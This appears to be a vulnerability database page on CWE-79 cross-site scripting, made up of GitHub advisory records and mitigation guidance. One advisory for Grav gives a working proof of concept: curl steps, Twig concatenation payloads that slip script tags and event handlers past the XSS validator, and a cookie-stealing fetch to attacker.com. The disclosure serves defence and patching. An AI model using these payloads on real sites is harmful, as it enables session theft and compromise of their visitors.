CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
70779 vulnerabilities reference this CWE, most recent first.
GHSA-29XQ-R9PH-FP32
Vulnerability from github – Published: 2022-04-01 00:00 – Updated: 2022-04-08 00:00A Cross Site Scripting vulnerabilty exists in Pixelimity 1.0 via the Site Description field in pixelimity/admin/setting.php
{
"affected": [],
"aliases": [
"CVE-2021-42866"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-31T18:15:00Z",
"severity": "MODERATE"
},
"details": "A Cross Site Scripting vulnerabilty exists in Pixelimity 1.0 via the Site Description field in pixelimity/admin/setting.php",
"id": "GHSA-29xq-r9ph-fp32",
"modified": "2022-04-08T00:00:29Z",
"published": "2022-04-01T00:00:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42866"
},
{
"type": "WEB",
"url": "http://rlsec.xyz/vulns/CVE_2021_42866.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2C25-XFPQ-8W9R
Vulnerability from github – Published: 2021-08-13 15:22 – Updated: 2021-07-01 21:48An issue was discovered in JFinal framework v4.9.10 and below. The "set" method of the "Controller" class of jfinal framework is not strictly filtered, which will lead to XSS vulnerabilities in some cases.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.10"
},
"package": {
"ecosystem": "Maven",
"name": "com.jfinal:jfinal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-33348"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-25T15:28:12Z",
"nvd_published_at": "2021-06-24T15:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in JFinal framework v4.9.10 and below. The \"set\" method of the \"Controller\" class of jfinal framework is not strictly filtered, which will lead to XSS vulnerabilities in some cases.",
"id": "GHSA-2c25-xfpq-8w9r",
"modified": "2021-07-01T21:48:01Z",
"published": "2021-08-13T15:22:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33348"
},
{
"type": "WEB",
"url": "https://github.com/jfinal/jfinal/issues/188"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cross-site scripting in jfinal"
}
GHSA-2C2H-JFWM-5F64
Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2022-12-09 18:30IBM Sterling B2B Integrator Standard Edition 6.0.0.0 and 6.0.0.1 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 157110.
{
"affected": [],
"aliases": [
"CVE-2019-4076"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-25T15:29:00Z",
"severity": "MODERATE"
},
"details": "IBM Sterling B2B Integrator Standard Edition 6.0.0.0 and 6.0.0.1 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 157110.",
"id": "GHSA-2c2h-jfwm-5f64",
"modified": "2022-12-09T18:30:31Z",
"published": "2022-05-24T16:44:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-4076"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/157110"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/docview.wss?uid=ibm10880591"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2C3X-JQ52-4HFG
Vulnerability from github – Published: 2025-11-21 15:31 – Updated: 2026-01-20 15:31Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kriesi Enfold enfold allows Stored XSS.This issue affects Enfold: from n/a through <= 7.1.2.
{
"affected": [],
"aliases": [
"CVE-2025-66053"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-21T13:15:46Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in Kriesi Enfold enfold allows Stored XSS.This issue affects Enfold: from n/a through \u003c= 7.1.2.",
"id": "GHSA-2c3x-jq52-4hfg",
"modified": "2026-01-20T15:31:56Z",
"published": "2025-11-21T15:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66053"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/enfold/vulnerability/wordpress-enfold-theme-7-1-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Theme/enfold/vulnerability/wordpress-enfold-theme-7-1-2-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2C42-F2QJ-VH3H
Vulnerability from github – Published: 2022-05-17 00:33 – Updated: 2025-04-20 03:46Cross-site scripting (XSS) vulnerability in Best Gallery Albums Plugin before 3.0.70for WordPress allows remote attackers to inject arbitrary web script or HTML via the order_id parameter in the gallery_album_sorting page to wp-admin/admin.php.
{
"affected": [],
"aliases": [
"CVE-2014-8758"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-06T14:29:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in Best Gallery Albums Plugin before 3.0.70for WordPress allows remote attackers to inject arbitrary web script or HTML via the order_id parameter in the gallery_album_sorting page to wp-admin/admin.php.",
"id": "GHSA-2c42-f2qj-vh3h",
"modified": "2025-04-20T03:46:26Z",
"published": "2022-05-17T00:33:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8758"
},
{
"type": "WEB",
"url": "https://g0blin.co.uk/cve-2014-8758"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8236"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2C45-R34F-W6V8
Vulnerability from github – Published: 2025-02-14 15:31 – Updated: 2026-04-01 18:33Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Coronavirus (COVID-19) Outbreak Data Widgets allows Reflected XSS. This issue affects Coronavirus (COVID-19) Outbreak Data Widgets: from n/a through 1.1.1.
{
"affected": [],
"aliases": [
"CVE-2025-23851"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-14T13:15:47Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in NotFound Coronavirus (COVID-19) Outbreak Data Widgets allows Reflected XSS. This issue affects Coronavirus (COVID-19) Outbreak Data Widgets: from n/a through 1.1.1.",
"id": "GHSA-2c45-r34f-w6v8",
"modified": "2026-04-01T18:33:39Z",
"published": "2025-02-14T15:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23851"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/coronavirus-data-widgets/vulnerability/wordpress-coronavirus-covid-19-outbreak-data-widgets-plugin-1-1-1-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2C4C-5WF5-F8M7
Vulnerability from github – Published: 2026-03-05 06:30 – Updated: 2026-04-23 18:32Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Starto starto allows Reflected XSS.This issue affects Starto: from n/a through <= 2.1.9.
{
"affected": [],
"aliases": [
"CVE-2026-27352"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-05T06:16:25Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in ThemeGoods Starto starto allows Reflected XSS.This issue affects Starto: from n/a through \u003c= 2.1.9.",
"id": "GHSA-2c4c-5wf5-f8m7",
"modified": "2026-04-23T18:32:51Z",
"published": "2026-03-05T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27352"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/starto/vulnerability/wordpress-starto-theme-2-1-9-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2C4F-86XC-CR74
Vulnerability from github – Published: 2026-09-16 22:13 – Updated: 2026-09-16 22:13Summary
The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.
Details
The two-stage attack exploits the separation between validation and rendering:
Stage 1 - what the XSS validator sees (raw page content):
{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>
The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.
Stage 2 - what Twig produces (after rendering):
<img src=1 onerror=alert(document.domain)>
The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.
Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:
allowed_tags:
- set # ← allows variable assignment
...
The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.
The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:
<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
Twig output: <script>alert(1)</script> #}
Also bypasses the invalid_protocols check:
<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}
Proof of Concept
Prerequisites
twig_content.process_enabled: trueset by adminapi.pages.writepermission (page creation)
Step 1 - Obtain JWT token (any user with page write access)
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
-X POST -H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
Step 2 - Create page with Twig XSS payload
curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
-H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{
"title": "xss-page",
"folder": "xss-page",
"route": "/xss-page",
"template": "default",
"header": {"title": "xss", "process": {"markdown": false}},
"content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
}'
Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.
Step 3 - Visit page → XSS fires
curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>
Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.
From a low-level user
Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.
But with payloads such as click proves that the we can bypass the blueprint restrictions and upload malicious script to it
Alternative payloads (all bypass the validator)
| Payload | Twig Source | After Twig | Triggers |
|---|---|---|---|
| Event handler | <img src=1 {{"on"~"error"}}=alert(1)> |
<img src=1 onerror=alert(1)> |
Image load fails |
| Script tag | <s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}> |
<script>alert(1)</script> |
Immediately |
| Protocol bypass | <a href="{{"java"~"script"}}:alert(1)">click</a> |
<a href="javascript:alert(1)">click</a> |
On click |
| Iframe onload | <i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)> |
<iframe onload=alert(1)> |
Page load |
| Details toggle | <details open {{"on"~"toggle"}}=alert(1)> |
<details open ontoggle=alert(1)> |
Page load |
| Cookie theft | <img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)> |
<img src=1 onerror=fetch(...)> |
Image load fails |
Admin preview caveat
The Admin2 SPA renders page previews inside a sandboxed iframe:
<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>
allow-modals is not set - alert() is silenced in the admin preview. Use fetch(), document.write(), or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - alert() fires directly.
Impact
Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:
- Bypasses all four XSS validator regexes (
on_events,invalid_protocols,dangerous_tags,html_inline_styles) - Bypasses the dangerous tag blocklist (reconstructs
<script>,<iframe>,<svg>, etc.) - Bypasses the invalid protocol blocklist (reconstructs
javascript:,data:) - Persists across page edits (stored in page content file)
- Executes for every visitor to the page
An attacker can steal session cookies, perform actions as the victim, or deface the site.
Remediation
Option A - Re-run the XSS validator on Twig output
After Twig::processPage() renders the content, run the XSS validator on the output before it is cached and served:
// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
// Log and sanitize or block
Security::logTwigSandboxViolation('xss_output', $result, '', $route);
return ''; // or return escaped version
}
Option B - Disallow ~ and {% set %} in sandboxed content (too restrictive)
Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).
Option C - Block dynamic attribute names in Twig output
Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.
Option D - Escape HTML in rendered Twig output
Wrap the rendered output with htmlspecialchars() unless explicitly marked safe. This is the Twig default behavior — the |raw filter in theme templates bypasses it. Consider removing |raw from default themes and requiring explicit |raw only for trusted content.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0"
]
}
],
"aliases": [
"CVE-2026-61453"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-184",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T22:13:17Z",
"nvd_published_at": "2026-07-15T17:16:51Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig\u0027s string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ \"on\" ~ \"error\" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `\u003cimg src=1 onerror=alert(1)\u003e` which is rendered via `{{ content|raw }}` and executes in the victim\u0027s browser.\n\n---\n\n## Details\n\n**The two-stage attack** exploits the separation between validation and rendering:\n\n**Stage 1 - what the XSS validator sees** (raw page content):\n\n```twig\n{% set x = \"on\" ~ \"error\" %}\n\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\n```\n\nThe `detectXss()` function scans this string. The `on_events` regex looks for `\u003c[^\u003e]*?[\\s\\x00-\\x20\\\"\\\u0027\\/](on\\s*[a-z]+|xmlns)\\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\\s\\x00-\\x20\\\"\\\u0027\\/]`, and `x` is not `on`. **No match - passes validation.**\n\n**Stage 2 - what Twig produces** (after rendering):\n\n```html\n\u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nThe validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.\n\n**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:\n\n```yaml\nallowed_tags:\n - set # \u2190 allows variable assignment\n ...\n```\n\nThe `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag \u2014 it is always available and not gated by the sandbox.\n\n**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:\n\n```twig\n\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e\n{# XSS validator sees: \u003cs{{...}}\u003e - no \u003cscript\u003e tag detected\n Twig output: \u003cscript\u003ealert(1)\u003c/script\u003e #}\n```\n\n**Also bypasses the `invalid_protocols` check**:\n\n```twig\n\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e\n{# Validator sees: href=\"{{...}}\" - no \"javascript:\" protocol detected #}\n```\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n1. `twig_content.process_enabled: true` set by admin\n2. `api.pages.write` permission (page creation)\n\n### Step 1 - Obtain JWT token (any user with page write access)\n\n```bash\nJWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"user\",\"password\":\"pass\"}\u0027 \\\n | python3 -c \"import json,sys; print(json.load(sys.stdin)[\u0027data\u0027][\u0027access_token\u0027])\")\n```\n\n### Step 2 - Create page with Twig XSS payload\n\n```bash\ncurl -s http://127.0.0.1/grav/api/v1/pages -X POST \\\n -H \"Authorization: Bearer $JWT\" -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"title\": \"xss-page\",\n \"folder\": \"xss-page\",\n \"route\": \"/xss-page\",\n \"template\": \"default\",\n \"header\": {\"title\": \"xss\", \"process\": {\"markdown\": false}},\n \"content\": \"{% set x = \\\"on\\\" ~ \\\"error\\\" %}\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\"\n }\u0027\n```\n\n**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.\n\n### Step 3 - Visit page \u2192 XSS fires\n\n```bash\ncurl -s http://127.0.0.1/grav/xss-page | grep -oP \u0027\u003cimg[^\u003e]*\u003e\u0027\n# Output: \u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nOpen in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires.\n\u003cimg width=\"1842\" height=\"996\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588\" /\u003e\n\u003cimg width=\"1346\" height=\"263\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef\" /\u003e\n\n#### From a low-level user\nAlso From a low-level user normal script such as `\u003cimg src=1 onerror=alert(1)\u003e` this is being blocked by the restriction.\n\u003cimg width=\"1849\" height=\"980\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57\" /\u003e\n\nBut with payloads such as \u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e proves that the we can bypass the blueprint restrictions and upload malicious script to it\n\u003cimg width=\"1841\" height=\"1009\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd\" /\u003e\n\u003cimg width=\"1524\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770\" /\u003e\n\n\n\n### Alternative payloads (all bypass the validator)\n\n| Payload | Twig Source | After Twig | Triggers |\n|---------|------------|------------|----------|\n| Event handler | `\u003cimg src=1 {{\"on\"~\"error\"}}=alert(1)\u003e` | `\u003cimg src=1 onerror=alert(1)\u003e` | Image load fails |\n| Script tag | `\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e` | `\u003cscript\u003ealert(1)\u003c/script\u003e` | Immediately |\n| Protocol bypass | `\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e` | `\u003ca href=\"javascript:alert(1)\"\u003eclick\u003c/a\u003e` | On click |\n| Iframe onload | `\u003ci{{\"f\"~\"r\"~\"a\"~\"m\"~\"e\"}} {{\"on\"~\"load\"}}=alert(1)\u003e` | `\u003ciframe onload=alert(1)\u003e` | Page load |\n| Details toggle | `\u003cdetails open {{\"on\"~\"toggle\"}}=alert(1)\u003e` | `\u003cdetails open ontoggle=alert(1)\u003e` | Page load |\n| Cookie theft | `\u003cimg src=1 {{\"on\"~\"error\"}}=fetch(\"https://attacker.com/?c=\"+document.cookie)\u003e` | `\u003cimg src=1 onerror=fetch(...)\u003e` | Image load fails |\n\n### Admin preview caveat\n\nThe Admin2 SPA renders page previews inside a **sandboxed iframe**:\n\n```html\n\u003ciframe sandbox=\"allow-same-origin allow-scripts allow-forms\"\u003e\u003c/iframe\u003e\n```\n\n`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.\n\n---\n\n## Impact\n\nOnce the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:\n\n- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`)\n- **Bypasses the dangerous tag blocklist** (reconstructs `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003csvg\u003e`, etc.)\n- **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`)\n- **Persists** across page edits (stored in page content file)\n- **Executes** for every visitor to the page\n\nAn attacker can steal session cookies, perform actions as the victim, or deface the site.\n\n---\n\n## Remediation\n\n### Option A - Re-run the XSS validator on Twig output\n\nAfter `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:\n\n```php\n// In Twig::processPage(), after rendering\n$rendered = $twig-\u003erender($name, $context);\n$result = Security::detectXss($rendered);\nif ($result !== null) {\n // Log and sanitize or block\n Security::logTwigSandboxViolation(\u0027xss_output\u0027, $result, \u0027\u0027, $route);\n return \u0027\u0027; // or return escaped version\n}\n```\n\n### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)\n\nRemoving string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).\n\n### Option C - Block dynamic attribute names in Twig output\n\nParse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.\n\n### Option D - Escape HTML in rendered Twig output\n\nWrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior \u2014 the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.",
"id": "GHSA-2c4f-86xc-cr74",
"modified": "2026-09-16T22:13:17Z",
"published": "2026-09-16T22:13:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61453"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61710"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: XSS Blueprint Validation Bypass via Twig String Concatenation"
}
GHSA-2C4J-PH78-GMJG
Vulnerability from github – Published: 2025-11-11 06:30 – Updated: 2025-11-11 06:30The WP Count Down Timer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters of the 'wp_countdown_timer' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2025-12668"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T04:15:49Z",
"severity": "MODERATE"
},
"details": "The WP Count Down Timer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple parameters of the \u0027wp_countdown_timer\u0027 shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-2c4j-ph78-gmjg",
"modified": "2025-11-11T06:30:22Z",
"published": "2025-11-11T06:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12668"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-count-down-timer/tags/1.0.1/wp-count-down-timer.php#L69"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wp-count-down-timer"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bcbcad73-ce2a-4eb2-9b7f-91d47a93e16d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2C5F-4477-2248
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-05-24 19:02XSS in signup form in Project Worlds Online Examination System 1.0 allows remote attacker to inject arbitrary code via the name field
{
"affected": [],
"aliases": [
"CVE-2020-29205"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-17T19:15:00Z",
"severity": "MODERATE"
},
"details": "XSS in signup form in Project Worlds Online Examination System 1.0 allows remote attacker to inject arbitrary code via the name field",
"id": "GHSA-2c5f-4477-2248",
"modified": "2022-05-24T19:02:33Z",
"published": "2022-05-24T19:02:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29205"
},
{
"type": "WEB",
"url": "https://github.com/projectworldsofficial/online-examination-systen-in-php"
},
{
"type": "WEB",
"url": "https://nikhilkumar01.medium.com/cve-2020-29205-a7ab5cbcd156"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/48969"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
